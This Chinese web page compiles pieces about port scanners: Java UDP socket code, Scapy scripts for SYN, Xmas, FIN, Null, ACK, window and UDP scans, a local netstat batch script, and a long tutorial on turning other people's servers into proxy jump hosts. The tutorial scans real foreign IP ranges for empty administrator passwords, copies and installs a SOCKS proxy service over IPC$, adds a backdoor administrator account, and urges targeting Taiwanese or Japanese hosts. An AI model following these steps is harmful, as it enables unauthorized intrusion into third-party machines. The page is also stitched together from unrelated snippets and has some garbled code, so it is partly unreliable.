端口扫描器制作方法_端口扫描器制作

hacker|
121

如何用java语言实现端口扫描器

使用 DatagramSocket(int port) 建立socket(套间字)服务。

将数据打包到DatagramPacket中去

通过socket服务发送 (send()方法)

关闭资源

public static void main(String[] args) {

DatagramSocket ds = null; //建立套间字udpsocket服务

try {

ds = new DatagramSocket(8999); //实例化套间字,指定自己的port

} catch (SocketException e) {

System.out.println("Cannot open port!");

System.exit(1);

}

byte[] buf= "Hello, I am sender!".getBytes(); //数据

InetAddress destination = null ;

try {

destination = InetAddress.getByName("192.168.1.5"); //需要发送的地址

} catch (UnknownHostException e) {

System.out.println("Cannot open findhost!");

System.exit(1);

}

DatagramPacket dp =

new DatagramPacket(buf, buf.length, destination , 10000);

//打包到DatagramPacket类型中(DatagramSocket的send()方法接受此类,注意10000是接受地址的端口,不同于自己的端口!)

try {

ds.send(dp); //发送数据

} catch (IOException e) {

}

ds.close();

}

}

接收步骤:

使用 DatagramSocket(int port) 建立socket(套间字)服务。(我们注意到此服务即可以接收,又可以发送),port指定监视接受端口。

定义一个数据包(DatagramPacket),储存接收到的数据,使用其中的方法提取传送的内容

通过DatagramSocket 的receive方法将接受到的数据存入上面定义的包中

使用DatagramPacket的方法,提取数据。

关闭资源。

import java.net.*;

public class Rec {

public static void main(String[] args) throws Exception {

DatagramSocket ds = new DatagramSocket(10000); //定义服务,监视端口上面的发送端口,注意不是send本身端口

byte[] buf = new byte[1024];//接受内容的大小,注意不要溢出

DatagramPacket dp = new DatagramPacket(buf,0,buf.length);//定义一个接收的包

ds.receive(dp);//将接受内容封装到包中

String data = new String(dp.getData(), 0, dp.getLength());//利用getData()方法取出内容

System.out.println(data);//打印内容

ds.close();//关闭资源

}

}

如何用Scapy写一个端口扫描器

常见的端口扫描类型有:

1. TCP 连接扫描

2. TCP SYN 扫描(也称为半开放扫描或stealth扫描)

3. TCP 圣诞树(Xmas Tree)扫描

4. TCP FIN 扫描

5. TCP 空扫描(Null)

6. TCP ACK 扫描

7. TCP 窗口扫描

8. UDP 扫描

下面先讲解每种扫描的原理,随后提供具体实现代码。

TCP 连接扫描

客户端与服务器建立 TCP 连接要进行一次三次握手,如果进行了一次成功的三次握手,则说明端口开放。

客户端想要连接服务器80端口时,会先发送一个带有 SYN 标识和端口号的 TCP 数据包给服务器(本例中为80端口)。如果端口是开放的,则服务器会接受这个连接并返回一个带有 SYN 和 ACK 标识的数据包给客户端。随后客户端会返回带有 ACK 和 RST 标识的数据包,此时客户端与服务器建立了连接。如果完成一次三次握手,那么服务器上对应的端口肯定就是开放的。

当客户端发送一个带有 SYN 标识和端口号的 TCP 数据包给服务器后,如果服务器端返回一个带 RST 标识的数据包,则说明端口处于关闭状态。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

tcp_connect_scan_resp = sr1(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=10)

if(str(type(tcp_connect_scan_resp))=="type 'NoneType'"):

print "Closed"

elif(tcp_connect_scan_resp.haslayer(TCP)):

if(tcp_connect_scan_resp.getlayer(TCP).flags == 0x12):

send_rst = sr(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="AR"),timeout=10)

print "Open"

elif (tcp_connect_scan_resp.getlayer(TCP).flags == 0x14):

print "Closed"

TCP SYN 扫描

这个技术同 TCP 连接扫描非常相似。同样是客户端向服务器发送一个带有 SYN 标识和端口号的数据包,如果目标端口开发,则会返回带有 SYN 和 ACK 标识的 TCP 数据包。但是,这时客户端不会返回 RST+ACK 而是返回一个只带有 RST 标识的数据包。这种技术主要用于躲避防火墙的检测。

如果目标端口处于关闭状态,那么同之前一样,服务器会返回一个 RST 数据包。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

stealth_scan_resp = sr1(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=10)

if(str(type(stealth_scan_resp))=="type 'NoneType'"):

print "Filtered"

elif(stealth_scan_resp.haslayer(TCP)):

if(stealth_scan_resp.getlayer(TCP).flags == 0x12):

send_rst = sr(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="R"),timeout=10)

print "Open"

elif (stealth_scan_resp.getlayer(TCP).flags == 0x14):

print "Closed"

elif(stealth_scan_resp.haslayer(ICMP)):

if(int(stealth_scan_resp.getlayer(ICMP).type)==3 and int(stealth_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):

print "Filtered"

TCP 圣诞树(Xmas Tree)扫描

在圣诞树扫描中,客户端会向服务器发送带有 PSH,FIN,URG 标识和端口号的数据包给服务器。如果目标端口是开放的,那么不会有任何来自服务器的回应。

如果服务器返回了一个带有 RST 标识的 TCP 数据包,那么说明端口处于关闭状态。

但如果服务器返回了一个 ICMP 数据包,其中包含 ICMP 目标不可达错误类型3以及 ICMP 状态码为1,2,3,9,10或13,则说明目标端口被过滤了无法确定是否处于开放状态。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

xmas_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="FPU"),timeout=10)

if (str(type(xmas_scan_resp))=="type 'NoneType'"):

print "Open|Filtered"

elif(xmas_scan_resp.haslayer(TCP)):

if(xmas_scan_resp.getlayer(TCP).flags == 0x14):

print "Closed"

elif(xmas_scan_resp.haslayer(ICMP)):

if(int(xmas_scan_resp.getlayer(ICMP).type)==3 and int(xmas_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):

print "Filtered"

TCP FIN扫描

FIN 扫描会向服务器发送带有 FIN 标识和端口号的 TCP 数据包。如果没有服务器端回应则说明端口开放。

如果服务器返回一个 RST 数据包,则说明目标端口是关闭的。

如果服务器返回了一个 ICMP 数据包,其中包含 ICMP 目标不可达错误类型3以及 ICMP 代码为1,2,3,9,10或13,则说明目标端口被过滤了无法确定端口状态。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

fin_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="F"),timeout=10)

if (str(type(fin_scan_resp))=="type 'NoneType'"):

print "Open|Filtered"

elif(fin_scan_resp.haslayer(TCP)):

if(fin_scan_resp.getlayer(TCP).flags == 0x14):

print "Closed"

elif(fin_scan_resp.haslayer(ICMP)):

if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):

print "Filtered"

TCP 空扫描(Null)

在空扫描中,客户端发出的 TCP 数据包仅仅只会包含端口号而不会有其他任何的标识信息。如果目标端口是开放的则不会回复任何信息。

如果服务器返回了一个 RST 数据包,则说明目标端口是关闭的。

如果返回 ICMP 错误类型3且代码为1,2,3,9,10或13的数据包,则说明端口被服务器过滤了。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

null_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags=""),timeout=10)

if (str(type(null_scan_resp))=="type 'NoneType'"):

print "Open|Filtered"

elif(null_scan_resp.haslayer(TCP)):

if(null_scan_resp.getlayer(TCP).flags == 0x14):

print "Closed"

elif(null_scan_resp.haslayer(ICMP)):

if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):

print "Filtered"

TCP ACK扫描

ACK 扫描不是用于发现端口开启或关闭状态的,而是用于发现服务器上是否存在有状态防火墙的。它的结果只能说明端口是否被过滤。再次强调,ACK 扫描不能发现端口是否处于开启或关闭状态。

客户端会发送一个带有 ACK 标识和端口号的数据包给服务器。如果服务器返回一个带有 RST 标识的 TCP 数据包,则说明端口没有被过滤,不存在状态防火墙。

如果目标服务器没有任何回应或者返回ICMP 错误类型3且代码为1,2,3,9,10或13的数据包,则说明端口被过滤且存在状态防火墙。

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

ack_flag_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="A"),timeout=10)

if (str(type(ack_flag_scan_resp))=="type 'NoneType'"):

print "Stateful firewall presentn(Filtered)"

elif(ack_flag_scan_resp.haslayer(TCP)):

if(ack_flag_scan_resp.getlayer(TCP).flags == 0x4):

print "No firewalln(Unfiltered)"

elif(ack_flag_scan_resp.haslayer(ICMP)):

if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):

print "Stateful firewall presentn(Filtered)"

TCP窗口扫描

TCP 窗口扫描的流程同 ACK 扫描类似,同样是客户端向服务器发送一个带有 ACK 标识和端口号的 TCP 数据包,但是这种扫描能够用于发现目标服务器端口的状态。在 ACK 扫描中返回 RST 表明没有被过滤,但在窗口扫描中,当收到返回的 RST 数据包后,它会检查窗口大小的值。如果窗口大小的值是个非零值,则说明目标端口是开放的。

如果返回的 RST 数据包中的窗口大小为0,则说明目标端口是关闭的。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

window_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="A"),timeout=10)

if (str(type(window_scan_resp))=="type 'NoneType'"):

print "No response"

elif(window_scan_resp.haslayer(TCP)):

if(window_scan_resp.getlayer(TCP).window == 0):

print "Closed"

elif(window_scan_resp.getlayer(TCP).window 0):

print "Open"

UDP扫描

TCP 是面向连接的协议,而UDP则是无连接的协议。

面向连接的协议会先在客户端和服务器之间建立通信信道,然后才会开始传输数据。如果客户端和服务器之间没有建立通信信道,则不会有任何产生任何通信数据。

无连接的协议则不会事先建立客户端和服务器之间的通信信道,只要客户端到服务器存在可用信道,就会假设目标是可达的然后向对方发送数据。

客户端会向服务器发送一个带有端口号的 UDP 数据包。如果服务器回复了 UDP 数据包,则目标端口是开放的。

如果服务器返回了一个 ICMP 目标不可达的错误和代码3,则意味着目标端口处于关闭状态。

如果服务器返回一个 ICMP 错误类型3且代码为1,2,3,9,10或13的数据包,则说明目标端口被服务器过滤了。

但如果服务器没有任何相应客户端的 UDP 请求,则可以断定目标端口可能是开放或被过滤的,无法判断端口的最终状态。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=53

dst_timeout=10

def udp_scan(dst_ip,dst_port,dst_timeout):

udp_scan_resp = sr1(IP(dst=dst_ip)/UDP(dport=dst_port),timeout=dst_timeout)

if (str(type(udp_scan_resp))=="type 'NoneType'"):

retrans = []

for count in range(0,3):

retrans.append(sr1(IP(dst=dst_ip)/UDP(dport=dst_port),timeout=dst_timeout))

for item in retrans:

if (str(type(item))!="type 'NoneType'"):

udp_scan(dst_ip,dst_port,dst_timeout)

return "Open|Filtered"

elif (udp_scan_resp.haslayer(UDP)):

return "Open"

elif(udp_scan_resp.haslayer(ICMP)):

if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code)==3):

return "Closed"

elif(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,9,10,13]):

return "Filtered"

print udp_scan(dst_ip,dst_port,dst_timeout)

下面解释下上述代码中的一些函数和变量:

RandShort():产生随机数

type():获取数据类型

sport:源端口号

dport:目标端口号

timeout:等待相应的时间

haslayer():查找指定层:TCP或UDP或ICMP

getlayer():获取指定层:TCP或UDP或ICMP

以上扫描的概念可以被用于“多端口扫描”,源码可以参考这里:

Scapy 是一个非常好用的工具,使用它可以非常简单的构建自己的数据包,还可以很轻易的处理数据包的发送和相应。

(译者注:上述所有代码均在Kali 2.0下测试通过,建议读者在Linux环境下测试代码,如想在Windows上测试,请参见 Scapy官方文档 配置好scapy环境)

端口扫描器使用教程

端口扫描器一个端口扫描器,能够扫描出你的电脑或者IP和某一个网站的端口是否被占用,可以扫描哪些端口是开放的,可以自定义IP或网址,自定义开始端口,结束端口进行扫描,工具多线程运行,扫描速度非常快,用来测试端口扫描是方便了。

如果你要查询80是否被占用?

你只需要在开始端口和结束端口输入:80即可!

你也可以输入1-9999进行扫描!

软件名称:

端口扫描器

v1.0

绿色版

软件大小:540KB下载地址:

端口扫描、跳板的详细教程!

特别提醒:千万不要做国内的主机啊!做日本或者阿扁(台湾)吧,这样既不违反 我们国家的法律,也体现了自己的爱国心,哈哈(摘录别人的话),不过最好还是老老实实的做跳板,不要总是去想着做什么坏事。 千万不要用国内的主机做试验啊,否则等着警车来接你啦 怎样制作代理跳板 说明:(1)这篇文章是我自己做跳板的一点体会,是些给那些从来没有做过跳板的网友看的。做过跳板的网友就不用看了。 (2)本文讲述的是做跳板最简单,最基础的方法,仅仅是给新手提供一个思路,一些稍微复杂的方法比如unicode,CGI等等这里不讲。 (3)做跳板毕竟算是一种入侵行为,有了跳板和肉鸡以后,千万要用在该用的地方,不要刻意去“黑“别人啊!! 准备工作: 做一件事情,至少需要两个方面的准备工作:相关的基础知识和做这件事情的工具。 基本的工具:(1)x-scan v1.3:强大的漏洞扫描工具,对于初学者来说非常好的一个工具。我们主要用他来扫描一些基本的漏洞(主要是NT弱密码),用法在后面会具体说。(其实流光很不错的,但是我觉得流光再扫NT弱密码的时候太烦了) (2)superscan:非常快速的端口扫描工具,可以在很短的时间里发现某个IP域上IP的分布。为什么用他呢?主要是避免盲目扫描,提高效率:某个 IP域上IP地址的分布不是连续的,也许他从xxx.xxx.0.0-xxx.xxx.50.255上每个IP都是有计算机存在的,而从 xxx.xxx.51.0- xxx.xxx.100.255每个IP都没有计算机存在。如果你事先不知道这一段上根本没有主机的话,花了很长时间去扫描也不会有结果,浪费时间和金钱 啊。 (3)fluxay 4.0:大名鼎鼎的扫描工具,我们主要用它的NT管道命令功能来连接目标主机,以及添加用户、远程启动服务等。注意了:最好是fluxay 4.0版本。 (4)windows2000下的c:\命令提示符工具:也就是说,跳板的制作至少是要在windows2000以上的操作系统下进行。 (5)sksockserver.exe:做跳板的主角,就是用它来实现远程主机的socks5代理功能的。 (6)全球IP地址分配表:这个对于高手来说是不必要的,用他的目的是考虑到很多以前没有做过跳板的网友对IP的分布不了解,我们主要的目标还是国外的主 机,因此对国外的IP分布有一些了解是很重要的,也是以后我们选定所要扫描的IP域的主要根据。这样的话,就省得再去用“追捕”软件查找IP的实际所在地 了。 好了工具准备完了,现在了解一下做跳板的大概过程。 注意:刚才你下载的这些东东不是放在你的硬盘上!放在什么地方呢?放在“肉鸡”上! 就是说我们做跳板的过程是在肉鸡上完成的。 名词解释肉鸡:肉鸡是开了3389端口微软终端服务(microsoft terminal service),又有弱密码的高速服务器,俗称“肉鸡”。我们之所以要在肉鸡上做,是出于安全考虑,因为做跳板毕竟是一种非法入侵行为,我们需要隐藏自 己的踪迹,当然,不想用肉鸡也可以,前提是你有足够的带宽,而且不怕公安上门找你麻烦。(当然,进入肉鸡本身也是一种非法的入侵)。我们用 mstsc.exe这个软件登陆上肉鸡,就可以像平时我们在自己电脑上一样用鼠标控制远程的服务器(也就是肉鸡)做我们要做的事情。 过程:为了叙述的方便,先假设我们已经有了一个肉鸡。下面的步骤没有特殊说明都是在“肉 鸡”上完成的。 (1) 先在自己的机器上打开全球IP地址分配表,选取一个IP区域 (2) 登陆上肉鸡,把刚才说到的工具在肉鸡上下载好,就用肉鸡自己的IE下载就行了。 (3) 主要的过程是:先用superscan扫描(1)选定的IP区域,找到其中一个IP很集中的区域,然后放到x-scan进行漏洞扫描(因为是面对以前没有 做过跳板的网友,所以这里只介绍用NT弱密码制作跳板),找到若干个有弱密码的IP,把sksockserver.exe上传到目标主机上,然后远程启动 sksockserver。这样,跳板就做好了。 我们一起来实践一下,做一个跳板: (1) 刚才说过了,没有肉鸡做跳板是不行的,尤其是拨号上网的网友(速度慢)。我们首先登陆上一个已经知道的肉鸡:xxx.xxx.xxx.xxx。帮刚才上面 提到的东东都准备好。最好是集中放置,这样便于我们使用。不要到处乱放,否则主人一进来就知道有人进过他的机器。 (2) 我们选择210.85.0.0-210.85.50.255这一段IP(台湾),放在superscan里面去,把superscan的端口设置改成只有 80一个端口,然后确定,开始扫描。这时,在下面的输出框里面,就会出现一大批的活跃IP,看见了吗?210.85.0.0-210.85.40.255 这一段上都是活跃的IP。现在我们随便选一个IP区域,比如我们就选210.85.0.0-210.85.5.255这一段,不要太长,因为下一步我们要 把他们放进x-scan进行扫描,x-scan扫描速度并不是很快,太多的话,会降低效率,而且IP区域过长的话,有可能使x-scan出现误报。 x-scan的使用方法这里就不详细叙述了这里要做的就是:在“设置”菜单里,先选“扫描模块”,选择“开放端口”和“NT弱密码”两个选项,在“扫描参 数”里,填上我们刚才选定的IP范围:210.85.0.0-210.85.5.255,接着,在其中“端口相关设置”里,把原先一长串的端口去掉,只填 上80,3389两个端口,其他的设置就用默认的好了,不用再改了。然后就开始搜索,这需要大概你8、9分钟的时间(因为x-scan虽然简单,但是速度慢),这段时间你大可以做一点自己的其他事情,等时间差不多了,你再看看x-scan里面的结果:好的,N个机器的密码为空,这下子有收获了!但是要说的 是,x-scan有一些误报,大家一定要有耐心去试啊! (3) 我们随便从中间随便选了一个,比如:210.85.0.14:administrator 空。接下来的事情, 是要验证它到底接不接受我们的连接,密码是不是正确。现在用到流光了,打开流光,选择“工具”里面的“NT管道远程命令”,出现对话框,把刚才的IP,用户名,密码填进去,然后回车。在界面上“NTCMD”提示符后面打入CMD,连接成功,屏幕上出现了“C:\WINNT\ SYSTEM32”的提示符。这证明,刚才的用户名和密码是正确的,这台机器已经基本是你的了。好了,我们进去了,想想我们要做什么呢?对了,是做跳板,我们还要把sksockserver.exe放到210.85.0.14上,这样才能启动服务,让这台机器做为跳板!怎么把这个东东放上去呢: 调出肉鸡上的CMD,在命令提示符下按下面的方法做: c:\net use \\210.85.0.14\ipc$ “”/user:“administrator”(建立IPC连接) 系统提示:命令成功完成。 Copy c:\sksockserver.exe \\210.85.0.14\admin$ 系统提示:成功复制一个文件。 这样我们就成功地把sksockserver.exe传到了目标主机上。接下来的任务就是把他远程启动就行了。 我们又回到刚才流光的NTCMD里,在提示符下按下面的方法做: c:\sksockserver –install 系统提示:snake sockproxy service installed c:\sksockserver –config port 1949(端口自己来定,这里的1949是随便选的) 系统提示:the port value have set to 1949 c:\sksockserver –config starttype 2 系统提示:the starttype have set to 2---auto c:\net start skserver 系统提示服务启动成功。 这个时候,这台机器已经成为你的跳板了。 下面简单的说一说自己找肉鸡的方法。 工具:(1)sockscap:强大的socks代理调度软件。 (2)snake的代理跳板GUI(图形界面程序) (3)mstsc:微软terminal service终端服务的客户端程序。用于登陆3389肉 鸡。有了它,我们就可以象控制自己的机器一样控制终端服务器,做我们的事情了。 其实前面两个都是附属的工具,只有mstsc才是真正唱主角的。 Sockscap和sksockserver GUI配合实现实现跳板的使用,可以隐藏我们的 入侵痕迹。 我们现在还没有肉鸡,那么一切事情都只能在我们自己的机器上做了,如果你不放心的话 可以到网吧去做下面的事情。 但是,要提醒的是,千万不要做国内的主机啊!做日本或者阿扁(台湾)吧,这样既不违反 我们国家的法律,也体现了自己的爱国心,哈哈(摘录别人的话),不过最好还是老老实实 的做跳板,不要总是去想着做什么坏事。 步骤其实跟做跳板也很相似的。刚才我们在x-scan搜索的端口里设置了3389,如果一台机 器开了3389端口,而且有了弱密码的话,那这样的机器就是所谓的“肉鸡”了。(当然输入 法漏洞有的时候也可以做成肉鸡,但是毕竟现在有输入法漏洞的机器太少了,远远不及有弱 密码的终端服务器那么多,所以我们还是选择了后者,而且输入法漏洞只适合国内机器。一 个一个去试验,真是太浪费时间了!会烦死的。) 具体搜索过程跟刚才在作跳板里是一样的,找到一个开了3389端口服务,而且有弱密码的 机器。我们在上面搜索的结果中仔细地看看,终于发现了一台:210.85.2.84:frank41:空。而 且开了3389服务。要把这台机器变成自己地机器那肯定要有自己的登录名,否则每次总是 用别人的,那还怎么叫是自己的机器?我们现在来为自己添加一个用户名,把自己提升成为 root权限,那么我们就可以做任何事情了。打开流光,选择“工具”里面的“NT管道命令” 填上刚才得到的用户名跟密码:frank41:空。然后确定,进入NTCMD界面,在提示符下 键入:CMD,连接成功以后在系统提示符下如下操作: c:\net user admin /add(添加一个admin用户) c:\net user admin shonline788(使得admin的密码是shonline788) c:\net localgroup administrators admin /add(把用户admin提升为administrator即管理员身份) 这样我们就成功的在这台机器中取得了root权限,可以作任何事情了,但是别做坏事噢。 下一步,就要用上我们刚才准备的这些工具了。在网上搞几个socks代理,把sockscap和 sksockserverGUI设置好,把mstsc的图标拖到sockscap里去,双击mstsc的图标,在其中填 上你刚才找到的肉鸡IP:210.85.2.84,然后回车进行连接。成功以后,会出现一个跟我们平 时登陆windows2000时候一样的一个蓝色的界面,在里面填上我们刚才添加的用户名和密 码,回车登陆。登陆成功以后就会出现该主机的图形界面,这个时候你就可以象操作自己的 机器一样,操作别人的机器。至此,你已经获得了一台肉鸡。就可以做我们上面做过的事情 了。

怎么用BAT文件做端口扫描器

首先,给你更正一下,估计是你看了别人的教程或者软件,让你以为BAT可以扫端口,严格意义上说批处理文件BAT是不能真正意义上实现扫端口功能,即使有也是利用TELNET。而且是单线程。是没任何意义的。你看到的我估计是S扫描器,然后别人做成一个批处理,比如流行的扫135,1433,3389或者其他溢出都喜欢用S扫描器,因为它速度一流,而且是命令下操作适合做成BAT文件批量处理。而输出扫描结果这个比较简单,就是写几行批处理来提取S扫描器生成的结果Result.txt文件,然后输出到5.txt中。就这么简单。这些代码网上有现成的,如果你有需要可以给我留言,适当的给你分享分享!

怎么制作一个BAT的端口扫描器

@echo off

setlocal enabledelayedexpansion

title 端口扫描器 by 风旋碧浪

color 4fMODE con: COLS=50 LINES=12

echo.echo 开始扫描,需要时间,请稍候……

(echo.echo 端口号 进程名称

echo.echo TCP协议: )端口查看.txt

echo.echo 正在扫描TCP协议……

for /f "skip=4 tokens=2,5" %%a in ('netstat -ano -p TCP') do (

for /f "tokens=2 delims=:" %%A in ("%%a") do set TCP端口=%%A

for /f "skip=2 delims=, tokens=1" %%A in ('tasklist /fi "PID eq %%b" /FO CSV') do set TCP进程=%%~A

echo !TCP端口! !TCP进程!端口查看.txt

)

echo UDP协议: 端口查看.txt

echo.echo 正在扫描UDP协议……

for /f "skip=4 tokens=2,4" %%a in ('netstat -ano -p UDP') do (

for /f "tokens=2 delims=:" %%A in ("%%a") do set UDP端口=%%A

for /f "skip=2 delims=, tokens=1" %%A in ('tasklist /fi "PID eq %%b" /FO CSV') do set UDP进程=%%~A

echo !UDP端口! !UDP进程!端口查看.txt

)

echo.echo.echo 扫描结束!请查看《端口查看.txt》文件!

pausenul

0条大神的评论

发表评论